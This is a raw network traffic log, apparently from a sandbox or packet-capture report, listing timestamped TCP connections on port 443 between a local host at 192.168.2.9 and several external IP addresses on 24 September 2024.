Sep 24, 2024 06:29:45.462769985 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462805033 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462820053 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462826014 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.462850094 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.462973118 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463006020 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463009119 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.463016987 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463052034 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.463601112 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463649035 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.463650942 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463659048 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463687897 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.463948011 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.463992119 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.478300095 CEST	49719	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.478323936 CEST	443	49719	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.584321022 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.584667921 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.584687948 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.585155010 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.586582899 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.586662054 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.587609053 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.600529909 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.600564003 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.600625038 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.600843906 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.600857973 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.628195047 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.631426096 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.639972925 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.640027046 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.640113115 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.640554905 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.640579939 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.642551899 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.642585039 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.642662048 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.642913103 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:45.642926931 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:45.649499893 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:45.649518013 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:45.649643898 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:45.650365114 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:45.650374889 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:45.675410032 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853362083 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853389978 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853396893 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853434086 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853452921 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853461981 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853458881 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.853497982 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.853514910 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.853514910 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.853548050 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.854306936 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.854378939 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.854389906 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:45.854401112 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.854474068 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:45.912502050 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.912806988 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.912826061 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.913181067 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.913489103 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.913552999 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.913645029 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:45.955429077 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:45.973012924 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973073959 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973121881 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973162889 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973166943 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.973186016 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973226070 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.973233938 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973262072 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:45.973308086 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.975188971 CEST	49725	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:45.975214958 CEST	443	49725	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:46.018768072 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.018832922 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.018884897 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.018898964 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.018913984 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.018965006 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.035973072 CEST	49726	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.036003113 CEST	443	49726	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.041107893 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.041141987 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.041214943 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.041421890 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.041440010 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.058350086 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.058634996 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.058648109 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.059736013 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.059798956 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.060178041 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.060252905 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.060698986 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.060743093 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.060785055 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.060794115 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.060818911 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.061103106 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.061127901 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.086522102 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.087201118 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.087213039 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.087735891 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.094458103 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.106636047 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.116815090 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.137578011 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.137662888 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.139389038 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.139398098 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.139518976 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.139523029 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.140105009 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.140130997 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.140252113 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.140484095 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.141011953 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.141072035 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.141244888 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.141349077 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.142782927 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.142872095 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.142982006 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.143101931 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.143106937 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.163603067 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.163712025 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.163770914 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.165041924 CEST	49727	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.165060043 CEST	443	49727	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.187397957 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.187418938 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.193881035 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.193969965 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.234846115 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.234966993 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.235018969 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.236736059 CEST	49728	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.236756086 CEST	443	49728	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.237658024 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.238353968 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.238436937 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.238444090 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.238476038 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.238545895 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.238560915 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239027977 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239087105 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.239094973 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239449978 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239533901 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239614010 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239697933 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.239703894 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.239752054 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.243031979 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.243304014 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.245805025 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.245863914 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.245912075 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.245959044 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.245966911 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.245975971 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246049881 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.246049881 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246098042 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.246104956 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246428967 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246479988 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246527910 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246542931 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.246551037 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.246637106 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.246982098 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.247019053 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.247081041 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.247486115 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.247500896 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.253009081 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.296864986 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.296883106 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.296906948 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.343266010 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.351562977 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352238894 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352319956 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.352328062 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352359056 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352509022 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352678061 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.352684975 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352734089 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.352752924 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352906942 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.352965117 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.352974892 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.353050947 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.353104115 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.353108883 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354152918 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354209900 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.354217052 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354307890 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354394913 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354459047 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.354464054 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354509115 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.354512930 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354626894 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354700089 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.354705095 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354784966 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354842901 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.354847908 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354928970 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.354986906 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.354993105 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.358872890 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.358989954 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.359042883 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.359050989 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.359059095 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.359108925 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.359117031 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.361747026 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.361840963 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.361850977 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362102032 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362401009 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.362409115 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362633944 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362699032 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.362705946 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362844944 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362894058 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.362900019 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.362932920 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.362996101 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.363032103 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.363038063 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.363049984 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363073111 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.363078117 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.363112926 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363126040 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.363132954 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363197088 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.363202095 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363218069 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363276005 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363291025 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.363297939 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363390923 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363442898 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363497019 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363538027 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.363538980 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.363549948 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.363746881 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.414271116 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.438445091 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.438540936 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.438581944 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.438582897 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.438595057 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.438674927 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.439109087 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439285040 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439357042 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.439363956 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439826012 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439868927 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439903021 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439922094 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.439922094 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.439933062 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.439940929 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.440073967 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.440149069 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.440774918 CEST	49730	443	192.168.2.9	151.101.2.137
Sep 24, 2024 06:29:46.440792084 CEST	443	49730	151.101.2.137	192.168.2.9
Sep 24, 2024 06:29:46.444981098 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445115089 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445177078 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445209980 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.445219994 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445281029 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445282936 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.445296049 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445346117 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.445357084 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445411921 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.445417881 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445476055 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.445482016 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445521116 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.445698977 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.446269035 CEST	49729	443	192.168.2.9	104.18.10.207
Sep 24, 2024 06:29:46.446275949 CEST	443	49729	104.18.10.207	192.168.2.9
Sep 24, 2024 06:29:46.466304064 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:46.466336966 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:46.466497898 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:46.466914892 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:46.466926098 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:46.472789049 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:46.472836971 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:46.473016024 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:46.473232985 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:46.473249912 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:46.543692112 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.543992996 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.544012070 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.545046091 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.545115948 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.545506001 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.545572042 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.545733929 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.545742989 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.549582958 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.549829960 CEST	49733	443	192.168.2.9	199.232.196.193
